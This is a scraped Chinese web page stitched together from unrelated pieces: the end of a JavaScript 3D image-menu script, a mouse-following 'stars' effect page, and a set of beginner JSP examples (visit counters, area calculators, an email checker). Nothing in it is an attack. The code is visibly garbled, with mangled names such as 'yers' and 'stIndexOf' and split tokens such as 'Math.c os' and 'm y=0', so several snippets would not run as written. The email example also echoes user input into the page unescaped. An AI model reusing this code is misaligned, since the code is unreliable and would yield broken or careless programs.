this;},wheel_90:function(hot){if(this.uping)return;this.uping=true;var This=this;this.timer=setInterval(function (){ clearTimeout(This.autoTimer);var A=hot.angle;This.dir=A<270&&A>90?-1:1;if(A==90){clearInterval(This.timer);This.uping=false;This.onEnd(hot);}if(A>270)A-=360;var set=Math.ceil(Math.abs((90-A)*0.1));for (var i=0;i<This.items.length;i++ ) {var J=This.items[i];J.angle+= (set*This.dir);J.update();if(J.angle>360)J.angle-=360;if(J.angle<0)J.angle +=360;};},15);},ready:function(){var J=this.items,step=parseInt(360/J.length);for (var i=0;i<J.length;i++) {J[i].angle=i*step+90;} this.wheel_90(this.items[0]);Nav_3D.prevHot=this.items[0].UI;Nav_3D.setHot();},setHot:function(isHot){if(!this.prevHot)return;with(this.prevHot.style){borderColor=isHot!==false?'#CC0000':'#00CCFF';cursor=isHot!==false?'default':"pointer";};return this;},auto:function(){this.index--;if(this.index<0)this.index=this.items.length-1;var J=this.items[this.index];this.setHot(false).prevHot=J.UI;this.setHot();this.wheel_90(J);},onEnd:function(hot){if(this.hover){return setTimeout(function(){Nav_3D.onEnd();},100);}this.autoTimer=setTimeout(function(){Nav_3D.auto();},1500);}};var imgs=document.getElementById("pics_3d").getElementsByTagName("IMG"); for (var i=0;i<imgs.length;i++ ) {Nav_3D.add(new Item(imgs[i]))}Nav_3D.ready();</script></html>围绕鼠标<html><head><title>网页特效|站点基地【】|---围绕鼠标旋转的三叶空间旋浆</title><meta content="text/html; charset=gb2312" http-equiv="Content-Type"></head><body bgColor="#000000"><scriptlanguage="JavaScript"><!--//To add more stars simply add more colours in below array!!colours=new Array('ff0000','00ff00','3366ff','ff00ff','ffa500','ffffff','fff000')//Alter nothing below!!amount=colours.length;YgetDelay=0,XgetDelay=0,Ydelay=0,Xdelay=0,ns=(yers)?1:0,step=0.2,currStep=0,m y=0,mx=0;if (ns){for (i=0; i < amount; i++)document.write('<LAYER NAME="nsstars'+i+'" BGCOLOR='+colours[i]+' CLIP="0,0,2,2"></LAYER>');}else{document.write('<div id="ie" style="position:absolute;top:0;left:0;"><div style="position:relative">');for (i=0; i < amount; i++)document.write('<span id="iestars" style="position:absolute;top:0;left:0;width:2px;height:2px;background:'+colours[i]+';font-size:2px "></span>');document.write('</div></div>');}if (ns){window.captureEvents(Event.MOUSEMOVE);function nMouse(evnt){my=evnt.pageY;mx=evnt.pageX}window.onMouseMove=nMouse;}else{function iMouse(){my=event.y;mx=event.x;}document.onmousemove=iMouse}function stars(){if (!ns)ie.style.top=document.body.scrollTop;for (i=0; i < amount; i++){var layer=(yers)?yers["nsstars"+i]:iestars[i].style;layer.top=Ydelay+100*Math.sin((5*Math.sin((currStep-15.99)/10))+i*70)*Math.sin((currStep)/10)*Math.c os((currStep+i*25)/10);layer.left=Xdelay+180*Math.cos((5*Math.sin((currStep-15.99)/10))+i*70)*Math.sin((currStep)/1 0)*Math.cos((currStep+i*25)/10);}currStep+=step;}function delay(){Ydelay = YgetDelay+=(my-YgetDelay)*1/20;Xdelay = XgetDelay+=(mx-XgetDelay)*1/20;stars();setTimeout('delay()',10);}delay();//--></script><script language="JavaScript"><!-- hidefunction goHist(a){history.go(a);}//--></script></body></html>文章出处:站点基地[/content/detailJS.aspx?OID=50894A83-C358-4815-B9A6-A1AD7A0A9 FFC]。
Example2_1.jsp<%@ page contentType="text/html;charset=GB2312" %> <HTML><BODY BGCOLOR=cyan><FONT size=4><%!int i=0;%><%i++;%><P>您是第<%=i%>个访问本站的客户。
</BODY></HTML>例子2Example2_2.jsp<%@ page contentType="text/html;charset=GB2312" %> <HTML><BODY><%!int number=0;synchronized void countPeople(){number++;}%><%countPeople(); //在程序片中调用方法。
%><P>您是第<%=number%>个访问本站的客户。
</BODY></HTML>Example2_3.jsp<%@ page contentType="text/html;charset=GB2312" %><%@ page import="java.io.*" %><HTML><BODY BGCOLOR=cyan><FONT Size=4><%!int number=0;File file=new File("count.txt") ;synchronized void countPeople()//计算访问次数的同步方法{if(!file.exists()){number++;try {file.createNewFile();FileOutputStream out=new FileOutputStream("count.txt");DataOutputStream dataOut=new DataOutputStream(out);dataOut.writeInt(number);out.close();dataOut.close();}catch(IOException ee){}}else{try{FileInputStream in=new FileInputStream("count.txt");DataInputStream dataIn=new DataInputStream(in);number=dataIn.readInt();number++;in.close();dataIn.close();FileOutputStream out=new FileOutputStream("count.txt");DataOutputStream dataOut=new DataOutputStream(out);dataOut.writeInt(number);out.close();dataOut.close();}catch(IOException ee){}}}<%countPeople();%><P><P>您是第<%=number%>个访问本站的客户。
</BODY></HTML>例子4Example2_4.jsp<%@ page contentType="text/html;charset=GB2312" %><HTML><BODY><BODY BGCOLOR=cyan><Font size=4><P> 请输入圆的半径:<BR><FORM action="" method=get name=form><INPUT type="text" name="cat" value="1"><INPUT TYPE="submit" value="送出" name=submit></FORM><%!public class Circle{double r;Circle(double r){this.r=r;}double 求面积(){return Math.PI*r*r;}double 求周长(){return Math.PI*2*r;}}%><%String str=request.getParameter("cat");double r;if(str!=null){r=Double.parseDouble(str);}else{r=1;}Circle circle=new Circle(r); //创建对象。
%><P> 圆的面积是:<BR><%=circle.求面积()%><P> 圆的周长是:<BR><%=circle.求周长()%></BODY></HTML>例子5Example2_5.jsp<%@ page contentType="text/html;charset=GB2312" %> <HTML><BODY bgcolor=cyan><FONT size=1><%!long continueSum(int n){int sum=0;for(int i=1;i<=n;i++){sum=sum+i;}return sum;}%><P>1到100的连续和:<BR><%long sum;sum=continueSum(100);out.print(""+sum);%></BODY></HTML>例子6Example2_6.jsp<%@ page contentType="text/html;charset=GB2312" %><HTML><BODY bgcolor=cyan><Font size=3><P> 请输入E-mail:<BR><FORM action="" method=get name=form><INPUT type="text" name="client" value="1"><INPUT TYPE="submit" value="送出" name=submit></FORM><%String str=request.getParameter("client");if(str!=null){int index=str.indexOf("@");if(index==-1){%><BR>您的email地址中没有@。
<%}else{int space=str.indexOf(" ");if(space!=-1){%><BR>您的email地址含有非法的空格。
<%}else{int start=str.indexOf("@");int end=stIndexOf("@");if(start!=end){%><BR>您的email地址有两个以上的符号:@。
<%}else{out.print("<BR>"+str);%><BR>您的email地址书写正确。
<%}}}}%></Font></BODY></HTML>例子7Example2_7.jsp<%@ page contentType="text/html;charset=GB2312" %><HTML><BODY bgcolor=cyan><FONT size=1><P> Sin(0.9)除以3等于<%=Math.sin(0.90)/3%><p>3的平方是:<%=Math.pow(3,2)%><P>12345679乘72等于<%=12345679*72%><P> 5的平方根等于<%=Math.sqrt(5)%><P>99大于100吗?回答:<%=99>100%></BODY></HTML>例子8Example2_8.jsp<%@ page contentType="text/html;charset=GB2312" %><HTML><BODY><P> 请输入三角形的三个边a,b,c的长度:<BR><!-- 以下是HTML表单,向服务器发送三角形的三个边的长度--><FORM action=" " method=post name=form><P>请输入三角形边a的长度:<INPUT type="text" name="a"><BR><P>请输入三角形边b的长度:<INPUT type="text" name="b"><BR><P>请输入三角形边c的长度:<INPUT type="text" name="c"><BR><INPUT TYPE="submit" value="送出" name=submit></FORM><%--获取客户提交的数据--%><%String string_a=request.getParameter("a"),string_b=request.getParameter("b"),string_c=request.getParameter("c");double a=0,b=0,c=0;%><%--判断字符串是否是空对象,如果是空对象就初始化--%><%if(string_a==null){string_a="0";string_b="0";string_c="0";}%><%--求出边长,并计算面积--%><%try{a=Double.valueOf(string_a).doubleValue();b=Double.valueOf(string_b).doubleValue();c=Double.valueOf(string_c).doubleValue();if(a+b>c&&a+c>b&&b+c>a){double p=(a+b+c)/2.0;double mianji=Math.sqrt(p*(p-a)*(p-b)*(p-c));out.print("<BR>"+"三角形面积:"+mianji);}else{out.print("<BR>"+"您输入的三边不能构成一个三角形");}}catch(NumberFormatException e){out.print("<BR>"+"请输入数字字符");}%></BODY></HTML>例子9Example2_9.jsp<%@ page contentType="text/html;charset=GB2312" %><html><BODY bgcolor=cyan><H3><%@ include file="Hello.txt" %></H3></BODY></HTML>注:上述Example2_9.jsp等价于下面的JSP文件:Example2_9_1.jsp。